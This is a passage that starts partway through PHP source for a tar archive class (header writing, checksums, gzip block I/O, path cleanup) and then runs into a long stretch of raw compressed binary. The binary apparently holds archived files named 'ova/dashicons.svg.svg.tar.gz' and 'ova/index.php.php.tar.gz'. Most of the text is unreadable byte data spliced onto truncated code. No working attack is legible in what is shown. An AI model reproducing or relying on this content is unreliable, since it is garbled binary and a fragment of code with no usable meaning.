OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK̶#[__݇ova/dashicons.svg.svg.tar.gznu[rض%N2O{aCr3tEP˯(gew1HbqNf1ܽ6px`2°qú?L=^ UL2٭=?ΚЪ!vff1I/W6bng FXt}ؖ z o.Xj+4GYS-k<aYY}mLn#׊!]qV~!(ٚljÞ[mпF;6l;ހCwXxV6Y綹/l֩Dk?D{S G Bs Oh߂?]Ƨ/]ΎMN\o{meB_>׵y+>,zw+UNF ~i?bGE)@XÈ&Bbf~uXv1Tumm\K׎j紖r}'Ш&cYP! JX8 Q sc|~pyh5bo-Vtբ k56^8v&\5kyuB=`Flj%ӧ)K

  • m&uvGtOUn;:.59e̴'MWmZCiտvmؘdK_}g!CJ}F#Gnmor<_' z&ihmG-CzSv @l8FH eԃ vW-~=laAqx}(=BCy\l_ݽuxVSNNWz^is#Pxtp;4}= 5Ƿ_^hztaZ $uր>?`r~GB1M&*%\zJ0PZȎȂy!9x^ L͍j ,x[GͥfIwhcm͕(D!6[կ^yzD%\Xc c"~6Fsaӗ˥]LMƈZ9[J6뱢% c;4RFHLt=#z\\*4LWˠ&Mߔ;24<3D Nf9LJϸ9rV\f^/DE7#(/N0]6ZPY@w9M!GML *TJMִC 3M[t#Mмpk(xy`)?ؒS 'zgٷ(&z WXQ-UסfP+{1^򵬱ׂWE,`4۹xS/OqTiDbJ176EʵE1Ymnb#lo߸#n?',4nS]_VuD0^ :4]1kưƠvZml)$Bf} fL7gW{HU2AW8."hU2Bx.eXnmRB14`3# [f!9jɐ3LX:}IdZ7;)' Ҕp%# UGu8; lfI!=L8ۡ^igLX|.e 0Dx-+y dPk/M`x%VVah/1E8Wd,@,cm~\cUg ^ɉ!ZD~ղkq- мpo<DI3BA+8!WwDn&Ǜ̾L5{OS#]abCsc[i|qҁ9i1 X9" =9;97N5VUg43QD?LEj5G.蚞*WSj$R"@:ZӤ s }~k$\Z'tU&TJ| $Qtk9̃mDg>C\Mhe}yǺ]3^kkA '_EGCt*VNQ.;VLk/˫q@|#mkokDj0HS[( 8ojεnO8GF7J^O_LJ/IXbǀŤAҿnHEQh ٙD7^F7ԪC ;4Ëd^/k}8Јa Gl^3Tr+9,-H-'] (+4smP7.&-N\VP,' »P0 7m>ߞO-wFe>֙|9.Rqr&oM& 'mBa3rRM2IpeƯ03gv ݶꦁ"(@$"89C-IBnM蔁7Ӗ0U KnyW%93( s9"e1e=z⛺,?<-PݞBE>m:hd BeDBB4`BIIΒ#No{>Lj:*RtZ# %6'kAY ὇V o4(|WD8e>q9ZR4-bvma|w؜sq6[ߘu6lm\pm%8?}~]tban\`\gp{+୥y(X56¦Zur?_Sm_^KПiXҿީ=^mږ]F2+-X^~ݽ[.X[V2}=?ۓ3eЛվV^n9wMi);HF\B7W@,nLL1$($Q >/qJ_R(oaRo38CBI cJ]-a-A zbTH3cA@IK1*ޜNʽ&K\d(~_d/Dg[jnBlu[ ["T)VxP\r^BBY5FzX#0*L6jQ* JFe EʖumŽAث-oMKZ4#LQ,:!zQwRMHhӛC@Օ|km)qm&nM@Mh4 ǹfr{,Çu{:%Cc0޷V &3=rgRfXݠ}~~˹L󣩹V{Fh b`Ja<{_(^1զyi~ <1 i1ߗݠ 2ikQf#[aze3/-H6Ŭ@?Pw ߍE&"ɇ[[r;Mq<jdsr /^vl}kc|pц #x>oh@,Ǜ[go_i |8CM1ZG|i`pyT豗P.M֫ Ҽ4a.:na0.FC2!a}{)w4o>X@#*,-'s|Q^ "^ ʅaA&w:9:Z: B\s u+82C`TKy L= 1mL0ۡE,Td@vD癠w8$}"~bUiHm},y}{yw\#~B*o'x=ZFSwָƒcՆ[V5E |??:yt}3=`ɘ@-K'NOh !]s<LarMWb갊{a-[IW]U/9[p9@L ][pWaljw XɾЦ+qR[>IafVEp"h* iJ2j0#^{u2y*E`Vs`n@ 4 7AP1` l[8}NH +%qx ?{ V|.h kMÈH#& Sl/ba n#2˂q}×fe!8~p96cjV8dXA][Tltث]+`Vg],uQuL|8aZ um'w]PD@nyE~^ pMQHuNZwo*:Lu ,pԧ䃃㡕&zh#i+AOD7fCAh֦ [8+@т1%pǀR1]}d8֖dDVɎNJP#c3;e=T*|\NY&2[yCdRG|cEӸ5'+3_\e1iabxǥu{qVu:bL+$F-aʚ\kvjI"dOZ0YWxokz詧[ŖX8^g俖-[|;gڣk-aZw mwE!i_%ޯcu{H5Bз%Vk%@tJ +~N-n>'&5eȬIJؽG.e`'(>|6kPhS}#%ՌTN2$r/t UZ*8c9~֣ȝMȐnNdwAon#|=׺ƱnJf_mɠ[w\Jxp4yX ('ȊXߞ !Fګ更F!Eh $$\d0nPybhdt)>N

    )s1_0 QCh9hG7M. Fl{E= w"Bm` 2@C ѫ=aX, QVp;Ѓ]ޖ&[[؞i2"F hK o<-*=?0h~yygĒɄ][J,2gB'l,sף6i &m: hhHޏ0Pw~ObD=?8Q\)fLF>ﭳ3#`^.xbp@/ Hr=rG'\?*ק/6:*"qhze_GVq6HMhϦ޹x )BE][6'D=rYwG f R|KN {|7۵pgC ;k "py5_v{{m !EF "W #ӥ< cS8 W ("0Ӂ9R]0VaAhv9mdg-D%+~孃Md˭4p Ö XԬ"䦼'BA*]a['V*ϵM wL)|:c%3٭ 1z BVrG㴄~ë! (Z{uIсBdn*ژCf5`s{)v8"1(5!Z.ցo^"i ` rAǯ{YdJ7Ĺ`P<3]ݢV+TKn-]uM-o'r߿RՓ\#U Xyl_Pťwj@ˑKM'xh Ov+PkHDԤB_:CABE?7Z Zʕ衚(AM`k|YNӍNJ-]-A 3Ƙ!yzFBXc)*Y99'Gd^t@iW!i qd+yi!n\z&I"Kl:Ys3kfD岺]|y`je8Ázq(M~\E|tssaz0=yyN%-<:G8c9B;鷺y_ ͎X6];7ñ|i;!n藍|Q 7ɓm})7lYA݆( ^˯zj @nFѱ HQ:k{bg(:"A?Q0;Dh9X̛$m؊L;(#jB#}'=AB<7@5:mLU:ԭَiYuϮv]_Ϯu{uu~ut|nZy8?koq~2娸 zS)Χ Fu'?6jmۊD'0}C3X'/CRz *)#jCqگf.:t,8d|WRi:zYUur:d@}(20MZn;E`smhCK,WY娴(&e)"Wo+2ڬtH]PC쯸O CCދY}bOs[a$!o5D_S{&_bw8/^@KC .!hz(Yy,ہVqbqd(pT,Xv?@ y H4=/0%jfv~UD0%BAGt <3XR]qXd""DWڛ0T<-bQ }-a(aV Y-YĈt`0Z)>`?0Yo 8z@:Q.l> $w]nWz{OF.ž:U:C]H?.Xu 'H7@{̑l&j1PT ~!b-WGH%[ETUezJ*ɬ\XU񎹂KlO |B Sٜ:ؽ&lukH;6 a N 7ŨYM"=҉n=trDc͔YLb@bR`f#ۧl.[}"oͫm ``ڤtfrZ8%lZe\V :G~>HAM{hR57 Hˆ3ڙ1dx\6fFFG D*AJw8:C"vqBU-&%R`2!~y0`R{/O ,DbEd_'aT%Lrep`9_RqVP_Yae5ǣvha)ۇyx:T?(Q) 5N#rG  X^%łӠc %BU+!F@Ef . 1ڬƈ_aܔLut_=Nw ;Hx=L˯/O+@iW2̀˰z }Xn >)OPMEl G.ؑpT7ڝhG ATF H} 0>RHɍLI`ӑJGY`tR.{7rхO)v-c*{'xMoi~ۅߟǐ+$Ε*La+ Yd0qu^ o }L,"Z.ޕ2:)djxf!WS%U-r^-S-Tb=aziʢfس?d1! pr}r`~20yt>^qu%̷5mt;Yel <ýᇍ6)1n_@ԙ {nY4h:iL/Gk0rjfH)vb!æ;{T]P*amAÍs8z`bwyAk9)*5 l- KuWKdtP B`b:aT|{~Ph"'q(OD,f+O^}0Nڸfc PiUdU~ϯZ *FyTdVdw$\Xi78G0e(L$ s6gp&^fW.qm|Gޙ̨Ep[g03 xy u>5d.}_^M6ƚ\ ȼ% ,;d5jVQ14.<3lC:xnqL7$IvVʖ@:&dO ^' p4Ҏ6ma1FT/ KvyGl'H/o/KVnt]~u5ȗ[V}[_^^?S/N,Zh:vxf9067dg~}. /1t Sgsg(waGJmLǏ?LgL^xja(;aD%q$_b1އ!_gE3B{t":/3| H!_tYlk2E8N:9dE,V*Jz]ƗQ= &!SB5SnF$-V=N0;5{krZ _Rw*?+M i#J_ dOQe..'#rr7tk|2?{@ܑ9jr}ؑo-o n؉I~tBx2ps=IO8W 7imppx-hX/s;b Sf# 0J굕@"q?~䗶*~?bzx7ZN aJ&W1Lj1qMQ"솲^g΁/uu}< qq|_A򪏎+~wl§V¦9<2ῢ]ҏv#[k9X__fy.3Y8: ]]͉uԓ$D]i^H^ 0ͫ }K.U TQ{1Q>?Țd[b~|={{9%!K $@ck>q";8D8I'|gbkXh ~Gi7܃NO\bCb4a]: 'C[7H,/9sO\k!~L2F35MLoO3ȒS֦mwb0;'ހ)" ^U6~jnj(ӤV:eOqVLzm5Ǽ-0=F|&U圜A,` -N,H^g֝ӡ'udq55HRV$8;38@jҖ/jrӷ#_0vSlolaP.g^3f]޹F߀a|}K$d4 5pN_cˏMyX3M_X"82 M7S|,"u}U`!V UT9ok]}6j[Tr&92ҝ"Y*ufzieh}Lr ?`IWG$/C Qb3)>0=hAvB2{VC!0EQy#[q8{`fDbkv.ܶ]_~jl\"j)=b c{abYA=2[j30ݏGEE!OHI+R}՜2_b-V'1L$geKd2G,̼Ε*_JȫBY!ʝI|Ztt!poׅB`LTeg@ 2+GxWIe~H1Z9`7>»"r_L=eV@ eډP eGzX!q&¯;b :Bp)تC) :ݕQ\]O@ع`\ٌA} ۥ&# ъıO_I2g# `R*P8"+ &N2Јv`"bpE: {fC&аD~N`tV"x) YDi7k,O|=@)(d   M%I @ p3utz?-^@=ecْ$EIĉAa?q67îo0Lw+n3q0o/WbX,D"Q nz(G("$Fn-۫e̤f8W">aGBUXGfq#z/zМ;aSQ/l]5ztКT+14:T>eݖc/)uO7Vv%١ L#/DrN8{+el\r:$QU_Iy#ۏ0!B[_m|{]"4=Wtb\u&A2L1DNHJ#.2j۵JX!_H:_0q:fe$aqzEZ)sV 7 ElS\Uݜ!٤}=ocJP[EvS[SDV)š\ܡFP&<V량3'SmOUddifrh HrS>Df_oǔŌagO(ځ+_:~jDX2pcXc-@yױS+vo+]B[0ZJ_zt$RwP& 2qA#&'UO';EJS(Pu@0QFI-:Gfk<{ٽ5x(QRb2$MȡD*ؒ|{K<5]E :_:(i\02̜(yv$f@v`q@dR/9:CI؅}TԦC@Z(N Nj~[(~ʨdI2RIR$Cb_ A\O恽JoH^8:={@)QEi(Ra *k+ r# rEzY]xQ:62DvLO(((Ⱥ(*{ 7Ա"43"T2ddQSUUZG3vPTڞ #PتԪoo) Lnl oҽcR[%0 R^q2ʃ0bVOa{O, #CN^Wrw'k=MyVn9r=׍T3x&y_MIӯy0:i׺?Y_8Ba]ǜDLb0eTZ43H*|ul(uc-& p>dG@WE@T0+O*JѮN,R\#BZ@eET$PwBWʱ/۷ǿ_ә&6kŴmh)ʬfIp؜gɋSYrzg$hgh2KX 3dLױ4A1)*ȘCzeR<+%B *Y,]L8T눚&* kPKE`!wߦ5]ÛoZo/n |BVK2cG݈#Ua(ohŤHTrr墪49Rm[JL;bLuljQ ƀxx"$ 3iԽ7B%->Rzd w'פcP3IcOV燷yK(?ʂ`X^jNr@+!$znl3P8"qj? RvHo{s 5Tvճ)Sg^yS BK_FAE$\L1L>*9=:0nGUx,p9z >5K{ڮhɪӏd o6>v,o{/lrKH@g I yࠌI"҇iV='п0sٳ%;L7&&p&%9B4`k>ZCS#elr)E]"ҏ*Z[P:w[uϴo='j䑾kBQ~[' 2cal(-@ẑVrWHUΤ1d)2 Ց+Tz ̬,#ѡn|hZ^Clj_f\&B܀xg3Vd;Gr' @eMÔ+)no1F׶暠hyv@HUړ ZwTdCᩈ/~5 $DCЊx{ d]ǛgRAZiin^oO=^_z\̑ p bk hNiMWRL0hWga_#gOR?$H#{|`6Qᓻ}(!h'c:ɧ aq\=n6ŽMцs*`aayA9G g6ŕhXFg,v)b^X.O.WO-S+(I7im/.KsSQH2,u,15% h[ LIC= Z+V9bc t1qFdR~f3R0s8Mt ":0+BLMCH%X~?T"o/4B#k/D avtwP:DS۬T 51xOxd "`yW1Vs"2o od\`Q/A 61BTjf ΎR(Qt@] B81]OY&kK '_ɡ-J3*X| s֘XC"W/#@&ve;-3=élٯz025==`9lky9f^٫{1d6a2 /[ (TB5dk}de,~h;Ep:j켲L!hwH ] V]o'ˑXddָW^<{B':IĤfgA} A ̇t;dJLD 2D7$z$P.NHEbI6\rynt$} OiЙk^{s:/) >ÝxTp9Mԑ7o<6(VEFb÷ik4ՁOCf%5^dNQ_=]ʣAhJglӁ)?N(xbNV8c42kq#"W~&];4(SSE8PAlAa6)|0(ԇpBagɢ ݳi :[oy _^^N@G,a($dM0䢠\Ar]O~xmےPJFWQ*@xLxB ]kCB^@8ʏh"ʊ[^1apJ2`Ao 4>ft/АJze1h,Ӯ+ 8\aUΎO+~iU($<)}`>.l.d) ;{p[kׇq|>?LN pMFfZ$FδwIʹjqHyGFZoFry Xq睞PMD|<NH:vWEn,bS(߆)0qیjj{|T Q| 28c ag*́'1Wqd|_<@8lt w'RJʭi:;`3ӕhN"ĉ]3nR+??(O Hڑ Uaٔ LM5F,{1gx(Eik y ͮwE5Iy4T8A/RHD?ů~ 젉ԏtXRCD@_{oF|[LOhB1%kAIp73o3q0 asV$ 'd'ch8}\vKl!26!wI* |L9UyңN5T.tnl=\c&g$̅;rzqxUc {#+=Tx>p9$cI!%̱zxN_O{KyN ү|e/|>T=>4ڇC6;FFaa>~g~uE8$a{`$vZT%aM}gZdCu$ӠLTt[a$@#!W]?a$ePQPk >>v3vA]JarL@\~QrV։:޺e;ڤSqoۏ̶n(vJC"|a%38$YU **.`J5zJc3:>ωO&"Pڸvv"qoȁ -t%19.Ĩ@J'TY=VC<"̈́5)'nT)1M拁SiOQ ݗ@bEΧ L'B~ M JNHFBA&/?*LY=7$PwwXEE<+J$"w$Edb ҽt &e佈gDOf6jn/6H?D?&ݰ' zd 6q+JTAS "CI SbV1DAW`e׬CX:++{{_ KC &Vr$8&tNP |H|b-q1) "4Ya 6= [N~n$Ogݏ0\y Bl AWACT-䜛!X.ODAcνuyz7d ݾ-"u~;qŠ yÔ06'Х}`KvUG:?H/@vy Jڴ?@R=chL;ȐrMGT_`M#ȎyȴT;Nbx%Im@ s83)9-l|B-5MLᇷٻק/_fHw.u2"i [B׃_?XSMj>Uz9<=m 6 hx>Pf6U{SN%}}y{x{l2,^Y&o+ztwQL@@u2UV@_lE6k2=Ĵn7:ⅉv7 4#; wgvԢ2%(e/ $asRa0P$7@W y NHc]0nCNJI#7//oߡW.jkd r5 T հr ȸ 2ڠzEE&#DKTneBV-۰cE,[0Ca~ؑTy`2NdW]۪p-i 5CLUSK8-.NH,eHty]8boO!}KD!vр23W ײ(@8՘%HLeҐ)c2l.lX %xEqD$_lcrl]E#k+>_>?>̨O&< Bz{;dh镇eS!+rQ#W^j~p!h!1֓__ L#յCWՐb3 {C ̳ `RxKDyH?zċM5pKcQˁǺ&wھyc,eꌴ5>'7D{rI᳃K-Z-o) ^ov8~jkjL Ҡcb&KkdkTW y[q\a8B@o}ix:߸EMyG<T-Za[Bo{SWzcsۍaYY,%' -~ٿ!td7Y3o +go=Zeۊӻ3lWH Dߎ[f}cq/*{[VnL P}"8CpQr͉,AĴ@E [7M#z՘@mC] Rhx} I ؑP}tO{D*XZ9{ 'rDn7/SDy9Ȉ5 fHwfO@V9 U&R .)ӐHKHg(<2(Bbeͪ"p'`QZ mfBl`ƈ\RJu罇'rI&ŕ'O]Rz 6J*]n 16>$ٻbwL vL̻62 zF!*8ts%xdEL½DrM^/S#38뵕3NdspKgл zgdgJalj6j Ϻ#o}&pqOd>j%Rz~N3I30t `Ѹ$L:70YӗY{Blm+qn1}W}b6łT('L>Ē`8y)Q`XPzbNNzKW_,9wVnm?#i{oQ~祦s7I?z7<*d~p<H}@KP^$ކ@-_a9dPd7D#!B=_`y1BJDC!`F+gCd0;E.Eq OFOa~-GK0G;de_1RwZvdGU K$dj8ń҂qB8fmEv^\A<-y,䓘I>>@H  7׎5Ak?:>mKypa䣳yM [X0kv&v%FWda TYsOi˪PJ ѭ#Jvq4xyT~KU*Wo3CvbHCAa+)dCI!¦|"لu{:Fem8&zx- X)2+z^1($|Dx.yZ# [;gei|' &__1uw}]vESXR,IcF|܀XE2NG;v|cP(W\$@wΈ]fnjg@|JBao+EjtF oG\}y{|}ؾ]3M(Frn!#Nʦ?j>'!>NFTU1:d+p7D]__>w`vւц̙l Nj91x Vו;]:GxUVg)OsQ|l圈cvab ۚDtʿU kLKo?O ?]+i~~}{2j0:@-5{2qb&/3닙w^_=_vlHOՑLx+!Kg_X&T5 ETh2UΫfVš*e%f ܷ;eŃo&<$BR;? jX \12Ca"'QI+(MqNh[V8j~x!ILdX 0BS^Ċ!RZ1y9lnzl"$&s2 uq-0&g3I`{9XhlEVsJpV[]lߪFIU^TSdy 6"U HB!IDq_aɹ&f앇14 U^TK #76?nsUI`JyaZG-K@i \L}Vwo)Y)!"C>\''㡥Ur+r"ל|NOrC+'\Dƕغ&>KH~fzTaz6\O4Oi^u*SpC#:d6i Rno0!gV-g: eF½ ̬Kӑ%lf2BmDA[,Q}#R$gAt&wWeaʤJ Qa䱃#; & B%.ŽתAHjݫXTQiIBh*HpesSaU~ L^!ᗕVU@L22_Ė<2'Ôȃ&QG0ʭ.Dd`d[Li(Exw7qn X )#N}w3}xtZ '[CÑ $P }f Ajɰ6!J̬<5*,1 aiJQihm 1#څX&T(5 G W{ S!o5H)Dɧ"LY<԰@^v f_oYQ#-trI1 㐄=$mpRc&dִ*n"v&o!D(GLԴ"׫&. }=iÄjccv(4ry$3 RBF՝Z:dS AD6 +JNqpL !If;%\p'j Revk3c'Ok=⃶n;+穐lp^ 'TVU^兙5|_1h!kpDuhN+a~^|D&cw10,<hL#"Ɩ/Ϗo uI|L`KklIL /1*ڏMڸ)x{wXӅ\ȡ)k|$&Nxtr_d"*9Q X+P{IZ;D_27(blE`#i\#/:$ ]:K|osӡ@B'{P>Ήx=YN?J!lrz'L3][kv]\$!H~q7.]#k80b 9GQ(MA4=2u//gvabC'CX)YWċ'P"ɹfǛ!9tu]f&KxxXZ8$yˁ!wUtH~Vx///bvlIrCsArGz?Uv \a|~{}<Ӂ%}N&["垾2y 7j6rx tDx "r?ĔWPI#! lg) "]֓)gƠ8JPg{$mA @g9V<}Fve'=mґGz&==QĹydΘ`(V)3 R¬$B-\59R聒32eZI]V jTl}'pI»}sr`{~}|?#Ko]Q.RIHv@gS&a~99|̸ A f#(Ix,Pq1(&-؁t7R(@] #*]}@̈́)D)ֈ"~Q .Ƌ &ax( &$VVzӃY *wq4)jRV 1 rE@wT8%*Z4I0D_N/-3v8QBl Lr;cDE:2'@mMjn.bبkw9BtB1yX :?'fC4Czo ݠz1tҰ+P"wxb7a*?ƣP^R8mqOyĔRIڙ3t"ZGq.8"7YHH/(} I( HNH3>*]:ԿcfO0O?ޕ>Qc\pJ 2ͲTR@)KhEjEgA:8}6&w#B=MφB$l++'%5JhxT4w[_mL>jWBN[g|d=Y`},Fd#z 1̶lEvh`Ʒe) ÈOV7O'NNF|ۧ2A%lkb 1dw+:Ww2\n@%^ﻶz6VD䕥]2A' s@ PLt~@>B{pˋA*a_ `t-p"TmUI=V`ӛOڿ>?h'.{o` *kAY ȤZax$&IehJd8@ Spj#?{!1[z˼ϾHD 'c21ɖr H~o0P3vWZ7 [6OЁ1*u;|[(CX1TTCM>KgPCnᠣ_QlQX Yoۚ#Qq??Bf5P/xi>:Q> H"!VVܓG oNq)jɠ۰Vw݆;T9;}\}7|]lڥ_΁(Ё*7 p! &M3qr;{`/{"ԽhZPȋ Of#`HL An;tu&xP%:9]VщW0kso8J C14W6GgOpAӔ3Xdu 6È4;0W$dL`<&,!z l)>^//_A<$&Jn͍D=$ ?}SP&)l\B?:0eX&!U;`l3Oa n~38 -7LaI C00G@\Pp|||qX8/eN5\FbDPPzºB DL'L+hPp%s UȩXN>&Fh:t[CKߤ-dY Ln':rEOC̕SжGEl}w΋xQ}m*4x~x9YXEoщ.WjrXYA<Ɛ/@uR0aRv*^ 7PJazD*| ǙCVoqC0 ֽ1qJBX-~!tbL 91/f, W̧ٝs'3mW#*WAkӐwmyb,wFDݦ躚hmOc&3tG>nmt4cʓ4ruGf>9KW{ Ia{^C!*ʑ#7k8n SCAB..U:hKveȰL:+N9qn3`*iJW4 j-jem gƃaJ-p@i0$wP+@e r۶2jBK>;ij 5 %qǖl;.E8]NFœ;â8Gx caH - 3nv@s|Z{m[0 !A4'잤!cMZU?VzL,: Uj((a4 ;.Rvf m8~XCa2&6S m_ئ_). )zN[GgT~/og̜#?7b`J˲?! (lVn$B+^d^&~tǙ%%u~͌!-Ӽ&0;Y#"M/OM=J7oxӡ  W|m.4V)FǴCQ6Ǎ쟟Kvrz)εW8=\Ig:p~ʁXax'aU@S2?z|=?>eeHA0iABX)MfsL̯z֒!jDjӭ, Wnn}_f鵰Nݘ  ye6L_ SdU]ՐEH7^s8H'mUf菢pOƥXO%P2s!{3[Ѯ fqшxR9RxSSv ?蠜3 $B&yg'Q o6lB(]~rK\ͧw 0Q}S|}y{e6hu>}5Тc)P hGM5m?ܻ!#]VǑ.JRY1% yL.ч9IGfR[PR[r=:-3,]V-5޾Xn+ax8Il὞v汁EhiOԞNpNTZtOIG/~@&FҊdm k[@xp%)ߓCVo8dD&ftLu<"n2Dʽ 2dmFa J^sZj}MdKDgvQQpq7Dj㽉J[w~s[,i40 4BI3$9x$PTJ%~ۤ*HѪ2޽+I"8뮔G(Bo |{|=9;3(ӽ(Y!ęaT Cwohk+ NfrW*ׯbd11PXŽ2J(/WaN|C06Lk io ڕށn HAg<*v2^䍾8d8S`._<$wcA2 8J7t{OYh~uFUSy?s:M 9k]oƋԗ'޷Z(ZAV!Gwc=[zN?C'gvV#ʀL+GwqfU|urVɗj5^ǷQ'іM  ʇc'H:(qլ߳;e#uT{J1cğY}.8pmg6ҏB|co2.cIଞ"B$'/G7>}& >f>~ hd|7$T3Fͯkgo"/;a/dΤ +MR>s=,lð7y֞^̣Vf쟍.erPdemCulu:0rbC hZ&*^A;\r3Yxe]M5NXw'Ӊ%F*S=%#i>tᒀk{iMCy>Cl"V>Z gwDvsqW㙝IêSlbz^s1Dv\tуGHkp\:P*pFyMڑwʡx `=_0Gf♽Xyx``4͝ek H{ \qݙHyh),M"?8N,Jߟe,aQ٭4d!>qaD%3ܩޤ;=D$sr;oS4A{~]p2_~͍ӑt%#'C~d)D"^/Vݳȝ[ yV%Kу3񜑻:["A$:i>uھvbl70=o?~B=;_S+B]RQ(qe@Fz3 GPoHL0w@Z.ʞYG щFRodSm rYnwUI߾^V۷L56~zIu 2hX{Ddߒn4WDrkwҶ4)tfC t-e%`Z2գZzvNf1;ȤQaK6IUARMQ@0{c,` "H<nK퉎=ӧ![@—NDHY,s8*A$B?6Mar^vV@ m-yKcÄΓ- sbf 2ѯQ˫e A/~vR󑍥'F\rt W0l88|~JD| mhD"ZQ KH+p I7}VWAr›a38 'G:0nPSj|%B=0t.^1;ғں$O"r}[Wv:"*N6ہQmd5[5]) 6"bdQ>>EɊ6A+"#?3{ A!䇖Aqщy.(?cn69lc_kz%p#U^(HM2G4l voգ}$Qp33aa:kƂ)bD HAizzvJe +( %ZyYfjT[V&;K'}"I1ɴ=-m A ܪv~[FeBa+  ~{Bo_Nou: NK~N\M]2rv-uA% o.r,? =:Bvm|"|g>؈G fW.i56&M=G<8Hc`OObc U 3FL7R;aN Ŀ҅4i!ʕ LT3D%s BRQ=<=9@`Z,L{Z YLAF;~br  ,7unKQȆ~AA橼үBkjbe `Zښrub{TE_7Chr!aXWɥ2Oo0Wi HsO@w$ĴØȷ $;:p<+*-Zg\Q1jo7I-znP8[ dP\W,[MGK.H7(&ʵ76VܜjwqzG+sR"eR'!"GtYE He%ˡKHaCd($?'#Xh(B2dCʔ 3`7gbL"00.SZdrP!M&fDgAb9eJ{eae:&a%-W@ejd)gu:DRC Ikx@ F=.%q`$``E[$_NW(r1vs3Gf$"'~|veŬ1#_viET=MLh%KCp'_}y:<a}ܟ;˭f58pT1v]aЈPi?%i2Í-3vuB徭NO6@Oٵ2I3Sj} 3QYqa^rsadt%!pӲL*{'Pçp-b*oe۬4jZwKwRdGxrKXwr@CZ%`lȴY9M9s8 h4toIDίI"NG# *3EDkTH}L埶m#t3o',%D~jARyijs4tL5@$V2"QE!tZiJPA "ê GժJ&COþFŪD5/'sbj*uXX"ӝF0@YYۚ-*'Yv[-gEv-QPmôՙG]1\E0A<~ںqƗϳ~E*ɾ"2ux6k[r,/ yB뜲>ci ԙiZ_ԥ-%ґ(E׆ew9")6'U9YE)c;HL`*E[UGkVE%1xS"Wyڳ"p&K#ML % kI~fR36?i$gSnMdFiZE!eT6P) `,cKR' Ea,38~zѹt@z9gQJr}S"*NBTصg_R"mn-78z9\SYם2ޠ# ܘ9~"fEA;ۅ׫zF6C6fBU$AҔ&*',9zT}Zfp2"0* ciH?SPWA1IY 5V@crHQ(_4q1?m:$m.O_ueV69yK͜j߫'D׏h֌,2ā)d:] D^"$;HPCiwӓomOG?s_1=^{, "@XƩFh%#҉1Bep?xxǍ(5My&A+]ozl)=~n6hİ5'3x2@FXD"JTB_`z.C67{x<4<(]&m%,iّ+"wB֑BⰤTؖ4[pvK7=֩!_\i>aE\EzA/R @,fJ?Xq+P.R{sMu̳r(AA }PK϶#[zccova/index.php.php.tar.gznu[vH دsJULRE )(RJdD$@$XEgKu}C?C}QTqG0ofp~u:KX3o|iZQypQPQf"ss4tj/&PvjCU\#ybBr  ;VIrheLt}]}a:8I\ x|a^D3I^_F$ڗۏ_Xl"!!wp9\geQ~ bz Em!q[ȓ8]Pi2e"'_1j8 ~Q (V"Y2KZ4sA5Fm %Jq(ҀS!Y8u8 0c"`` W*U$a" IFÎ{ ߙg jD.t/P}.Zu%آY'6(e.m)&hp}xps FEKuQkhƎ%eIC0^;wzΌjTHA8{Qqu$1}\uWbv&iZZq6ʬBIE.*,V1͠kNFSaxDt]`1P-E(m}/˕bhj zQE  U *3O4=zտB@Hil$'1=XB3"JRj "Rr<$lHf 